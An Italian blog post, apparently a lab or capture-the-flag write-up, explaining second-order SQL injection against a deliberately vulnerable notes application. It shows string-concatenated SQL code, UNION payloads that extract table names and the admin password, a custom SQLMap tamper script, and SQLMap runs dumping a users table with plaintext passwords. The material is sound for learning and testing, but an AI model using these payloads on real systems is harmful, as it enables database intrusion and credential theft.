Sfruttare l'iniezione SQL di secondo ordine

Feb 05 2023

Mi sono imbattuto in questo e l'ho trovato molto affascinante ma anche molto astratto da capire e difficile da sfruttare. Tuttavia, imparare a sfruttare questo tipo di vulnerabilità (SQLi) mi ha aiutato ad ampliare la mia prospettiva, rafforzare le mie competenze SQLMap e mi ha dato una migliore comprensione di come l'input dell'utente viene elaborato all'interno del flusso di lavoro dell'applicazione lato server.

In questo post scriverò di:

SQLi di secondo ordine in generale,
le necessarie premesse,
come identificare,
come sfruttare manualmente e
come automatizzare l'exploit con uno script di manomissione SQLMap personalizzato.

Le basi

In parole semplici: durante un'iniezione SQL di primo ordine, un utente malintenzionato utilizza un parametro di input (punto di iniezione) per manipolare una query SQL eseguita dall'applicazione server vulnerabile. Il server utilizza l'input fornito dall'utente per creare una query SQL al fine di leggere, scrivere, aggiornare, eliminare, ecc. i dati all'interno del database back-end. Se l'input fornito dall'utente non viene gestito in modo sicuro (sanificazione, convalida), l'aggressore può fornire un payload che manipola la query SQL eseguita per eseguire azioni dannose sul DBMS. La caratteristica di un SQLi di primo ordine è che la query SQL dannosa viene eseguita come conseguenza diretta dell'iniezione di payload. L'attaccante non ha bisogno di eseguire una seconda azione per eseguire il payload dannoso.

Esistono diversi modi per prevenire facilmente le iniezioni SQL di primo ordine. L'utilizzo di istruzioni preparate o l'elaborazione parametrizzata dell'input sono solo alcuni di essi. Tuttavia, gli sviluppatori al giorno d'oggi potrebbero essere consapevoli del fatto che l'input fornito dall'utente dovrebbe essere gestito in modo sicuro. Ma spesso dimenticano di gestire in modo sicuro i dati che sono già stati salvati nel database. È qui che entra in gioco SQLi di secondo ordine.

Per rendere le cose più chiare, assumiamo il seguente scenario: un'applicazione consente agli utenti di caricare immagini e salvarle nel database. La tabella ha colonne per:

l'ID univoco delle immagini,
l'immagine stessa,
il nome del file dell'immagine,
un contatore per le visualizzazioni dell'immagine da parte degli utenti dell'applicazione.

POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg

[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]

cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))

conn.commit()
conn.close()

Come accennato in precedenza, la tabella del database 'immagini' ha una terza colonna 'viste'. Ogni volta che un utente visualizza l'immagine, questo contatore viene incrementato di 1. L'applicazione restituisce anche il contatore all'utente, se l'utente apre la vista dettagliata dell'immagine. Quindi, ad un certo punto del codice, l'applicazione potrebbe apparire così:

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture extracted from database]

cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]

conn.close()

I prerequisiti di SQLi di secondo ordine

Quindi concludiamo questa breve introduzione e definiamo i prerequisiti e le caratteristiche di 2nd Order SQLi.

L'applicazione consente in qualche modo l'archiviazione dell'input dell'utente all'interno dell'applicazione durante una prima fase. Questo può essere nello spazio di memoria dell'applicazione o in un DBMS back-end, ad esempio.
L'utente malintenzionato può eseguire un secondo passaggio per fare in modo che l'applicazione esegua una query SQL che utilizza l'input dell'utente inserito nel primo passaggio.
L'applicazione non utilizza tecniche anti SQLi durante l'esecuzione della query (durante il passaggio 2) in base all'input dell'utente malintenzionato (dal passaggio 1).

L'identificazione di queste vulnerabilità può essere molto difficile, a seconda della complessità e della tracciabilità dell'architettura e dell'implementazione dell'applicazione.

Prova a immaginare il flusso di esecuzione delle funzionalità dell'applicazione durante l'esecuzione di azioni che potrebbero interagire con un DBMS di backend.

Innanzitutto, ovviamente testerai sempre le classiche iniezioni SQL di primo ordine. Ma se non funziona nulla e devi presumere che alcune difese vengano utilizzate durante l'elaborazione della richiesta di iniezione, prova a pensare un ulteriore passo avanti e immagina a quale punto (i) il tuo input potrebbe essere elaborato in diverse funzionalità/aree dell'applicazione. Se hai identificato un paio di possibili punti di esecuzione del secondo ordine, prova a immaginare le query eseguite dall'applicazione a questo punto. Successivamente, costruisci i tuoi payload di iniezione in modo che possano sfruttare la query eseguita dai punti di esecuzione del 2° ordine e controllare i risultati.

Automatizzare questo processo può essere un po' complicato, ma può aiutarti a risparmiare molto tempo. Tuttavia, avere una buona comprensione dell'aspetto del flusso di esecuzione lato server delle applicazioni, delle stringhe di query interessate, ecc., è assolutamente necessario se si desidera automatizzare il processo di sfruttamento con strumenti come SQLMap. Quindi non limitarti a sparare all'applicazione e sperare per il meglio. Immergiti il più a fondo possibile nell'applicazione prima di preparare il comando di sfruttamento finale di SQLMap per aumentare le possibilità di successo.

Analisi manuale e sfruttamento

Quindi, per dimostrarlo in un esempio pratico, utilizzerò un'applicazione vulnerabile ("Vulnerable Notes") con componenti applicativi tipici come:

login,
iscrizione,
profilo,
cambiare la password,
prendere appunti,
disconnettersi.

Innanzitutto, ho analizzato l'applicazione con un browser, per identificare potenziali punti di SQL injection.

La funzione di registrazione eseguirà sicuramente una sorta di query SELECT per verificare se il nome utente è già stato utilizzato e una query INSERT per registrare il mio utente.

Funzionalità di registrazione

Ho creato un utente e sono passato alla pagina di accesso. Questa pagina prenderà le credenziali fornite dall'utente ed eseguirà una sorta di istruzione SELECT sul database per verificare le credenziali.

Pagina di login

Dopo l'autenticazione, l'utente viene reindirizzato alla home page. Il nome utente viene visualizzato nella parte superiore della pagina. Pertanto, è possibile che a questo punto l'applicazione esegua una query SELECT per estrarre il nome utente dal database.

Pagina iniziale

Da questo punto di partenza, l'utente può eseguire le azioni correlate all'utente come prendere appunti sull'endpoint /notes. Il nome utente è presentato in un secondo posto all'interno dell'intestazione "Benvenuto". È possibile che l'applicazione esegua una query SELECT per richiedere nuovamente il nome utente.

Funzionalità per prendere appunti

Molto probabilmente l'applicazione eseguirà un qualche tipo di istruzione INSERT sul database se viene utilizzata questa funzionalità. Dopo aver preso appunti, questi possono essere visualizzati nella stessa pagina, sotto il modulo.

Visualizza le note salvate

Per visualizzare le note, l'applicazione eseguirà in qualche modo una query SELECT sul database per richiedere le note salvate.

L'applicazione offre anche una funzionalità di "modifica password", ma il messaggio sulla pagina indica che questa funzione potrebbe non essere implementata.

Funzione di modifica della password

Tuttavia, se è implementato, molto probabilmente eseguirà una sorta di query UPDATE sul database. Volevo prima eliminare quel vettore, quindi ho provato la funzione e non ha avuto successo. Si conferma che la funzione non è implementata.

Seguendo il mio approccio per SQLi di primo ordine, la cosa successiva che ho fatto è stata fare un riepilogo di tutte le potenziali query SQL, che potrei rilevare iniettando payload dannosi. A questo punto provo a immaginare come potrebbero essere queste query. Non ho la certezza che in realtà siano esattamente così, ma aiuta a capire come funziona il backend.

Registrati

-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME

-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)

-- Check if there is an user id where the provided credentials actually match. 
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD

-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)

Tempo per l'avvicinamento del 2° ordine.

Poiché ho già analizzato l'applicazione in dettaglio, non dovrò analizzare nuovamente l'applicazione di destinazione. Invece è sufficiente ripercorrere le mie conoscenze già acquisite sull'applicazione con uno sguardo/approccio diverso.

Tornando ai precedenti prerequisiti di SQLi di 2° ordine, devo pormi la domanda:

Dove l'applicazione prende l'input dell'utente, lo archivia per un utilizzo successivo e, in un passaggio successivo, lo utilizza come parte di un'altra query su cui non ho un impatto diretto?

Possibili candidati sono:

Nome utente : passo il nome utente all'applicazione durante il processo di registrazione. Il nome utente viene successivamente interrogato dalla pagina /home e dalla pagina /note per visualizzarlo. E potrebbe anche essere possibile che il nome utente venga utilizzato per interrogare le note salvate dell'utente specifico dal database.

Poiché posso vedere il risultato della query, so di avere a che fare con uno scenario di sfruttamento basato su UNION. Seguendo la metodologia tipica, dovrò prima scoprire quante colonne vengono interrogate dalla tabella dalla query originale. Per questo sto preparando più payload e analizzando i risultati in seguito.

-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...

Il payload viene visualizzato come previsto nella parte superiore della home page e nella parte superiore della pagina /note.

Successivamente, ho provato a inserire una nota ma sorprendentemente, la nota non viene mostrata dall'applicazione in seguito!

Sembra che la query responsabile della richiesta delle note dal database sia rotta. Questo ovviamente indica che il nostro payload ha avuto un impatto sulla query interna. Ma poiché non viene mostrato nulla, sembra che la query stia producendo un errore o non restituisca risultati. Questo ovviamente può accadere se non abbiamo impostato il numero corretto di colonne nel payload. Quindi andiamo avanti con i prossimi payload nell'elenco finché non viene visualizzato un comportamento diverso.

Fortunatamente, il carico utile successivo ha funzionato! "Nessuno" e "Nessuno" sono stati restituiti come intestazione e testo della nota.

Mettere insieme i pezzi:

-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- The payload
' UNION SELECT null,null--comment

-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment

Ho adattato le informazioni dal cheat sheet e ho creato un payload funzionante. Il nuovo carico utile:

' UNION SELECT null,sqlite_version()--comment

Da questo punto in poi, il tipico flusso di sfruttamento di SQLite (payload nel cheat sheet fornito) può essere utilizzato per eseguire il dump dell'intero database. Proviamo altri payload prima di automatizzare il processo.

Estrai tutti i nomi delle tabelle

' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment

' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment

' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment

' UNION SELECT null, password FROM users WHERE username='admin'--comment

Sfruttamento automatizzato tramite SQLMap Tamper Script

Fino a quando non ho lavorato su questo scenario, ho utilizzato solo SQLMap per sfruttare SQLi di primo ordine. Mi chiedevo se fosse possibile sfruttare anche SQLi di secondo ordine. Innanzitutto, ho usato il mio terminale per cercare le opzioni SQLMap relative allo sfruttamento del secondo ordine e ho trovato questo:

┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file

Ricordiamo i passaggi necessari per sfruttare manualmente la vulnerabilità:

Inserimento non autenticato di payload nella funzione "registro".
Autenticazione tramite funzione “login”.
Richiesta autenticata alla pagina “note”.

Sapevo che SQLMap può eseguire script Python con l'opzione "-manomissione". Ho controllato la cartella dello script di manomissione per vedere se riesco a trovare qualcosa di utile lì che potrei adattare alle mie esigenze. Purtroppo no.

┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper 
0eunion.py               chardoubleencode.py          dunion.py                     ifnull2casewhenisnull.py     modsecurityversioned.py      plus2fnconcat.py   space2hash.py         space2randomblank.py    versionedkeywords.py
apostrophemask.py        charencode.py                equaltolike.py                ifnull2ifisnull.py           modsecurityzeroversioned.py  __pycache__        space2morecomment.py  sp_password.py          versionedmorekeywords.py
apostrophenullencode.py  charunicodeencode.py         equaltorlike.py               informationschemacomment.py  multiplespaces.py            randomcase.py      space2morehash.py     substring2leftright.py  xforwardedfor.py
appendnullbyte.py        charunicodeescape.py         escapequotes.py               __init__.py                  ord2ascii.py                 randomcomments.py  space2mssqlblank.py   symboliclogical.py
base64encode.py          commalesslimit.py            greatest.py                   least.py                     overlongutf8more.py          schemasplit.py     space2mssqlhash.py    unionalltounion.py
between.py               commalessmid.py              halfversionedmorekeywords.py  lowercase.py                 overlongutf8.py              sleep2getlock.py   space2mysqlblank.py   unmagicquotes.py
binary.py                commentbeforeparentheses.py  hex2char.py                   luanginx.py                  percentage.py                space2comment.py   space2mysqldash.py    uppercase.py
bluecoat.py              concat2concatws.py           htmlencode.py                 misunion.py                  plus2concat.py               space2dash.py      space2plus.py         varnish.py

Come scrivere script di manomissione personalizzati per sqlmap

Dall'articolo, ho ottenuto il seguente scheletro del modello (eliminato la reimportazione) e l'ho salvato come custom.py:

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload

La funzione riceve il payload SQLMap tramite il parametro function e restituisce il payload manomesso dopo la manipolazione. L'articolo non spiegava come utilizzare **kwargs nel contesto di SQLMap, quindi ho chiesto a ChatGPT e ho ottenuto una buona risposta:

Questo dovrebbe essere sufficiente per preparare lo script di manomissione personalizzato per l'exploit. Per la comunicazione con il server ho utilizzato la libreria delle richieste.

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests

def dependencies():
    pass

def tamper(payload, **kwargs):
    # Create Session object
    s = requests.Session()
    
    # Register user with SQLMap payload in username
    s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
    
    # Login malicious username
    res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
    
    # Get headers from SQLMap
    headers = kwargs.get('headers', {})

    # Extract session cookie from response
    sessId = "session={}".format(s.cookies.get('session', None))

    # Pass session cookie to SQLMap cookie header
    headers['Cookie'] = sessId

    return payload

Mettendo insieme tutti i pezzi, è possibile utilizzare il seguente comando SQLMap:

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:20:46 /2023-02-04/

[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated

[*] ending @ 12:22:06 /2023-02-04/

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:25:23 /2023-02-04/

[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+

[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated

[*] ending @ 12:25:30 /2023-02-04/

──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[.]_____ ___ ___  {1.6.7#stable}                                                                                                                                                                                                    
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                   
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:26:59 /2023-02-04/

[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users' 
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password                              | username                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | rcLYWHCxeGUsA9tH3GNV                  | admin                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| 2  | asd                                   | dev                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| 3  | Summer2019!                           | amanda                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 4  | 345m3io4hj3                           | maja      
...

A causa della sua natura, queste vulnerabilità potrebbero apparire ovunque all'interno delle applicazioni web. Anche se gli sviluppatori hanno gestito correttamente l'input dell'utente a prima vista, ciò non significa che le misure anti SQLi siano applicate a tutta l'applicazione. In futuro avrò sicuramente gli occhi aperti e cercherò di seguire e comprendere a fondo il flusso di lavoro dell'applicazione/database.

Spero che questo post ti sia piaciuto e forse questo può aiutarti con scenari simili. Mi è davvero piaciuto scrivere questo e ho imparato molte cose nuove durante questo sabato. Lascia un commento, metti mi piace o segui e resta sintonizzato per altre cose sul Web e molto presto alcuni argomenti sull'infrastruttura AD.

PACE